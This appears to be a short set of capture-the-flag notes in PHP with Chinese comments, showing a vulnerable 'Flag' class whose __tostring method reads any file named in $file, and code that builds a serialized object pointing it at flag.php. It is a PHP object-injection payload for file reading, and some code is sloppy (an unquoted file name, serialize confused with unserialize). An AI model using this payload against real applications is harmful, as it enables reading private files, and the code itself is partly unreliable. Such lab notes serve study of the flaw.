<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
//那个ps
<?php
class Flag{
public $file = flag.php;
}
$a = new Flag();
serialize($a);//调用反序列化,就会激发__tostring函数,这个文件已经被包含了
<?php
class Flag{ //flag.php
public $file = flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
serialize($a);//调用反序列化,就会激发__tostring函数,这个文件已经被包含了
//echo一个类的时候会激发这个类的__tostring方法,也算是自定义的一种序列化
echo serialize($a)
?>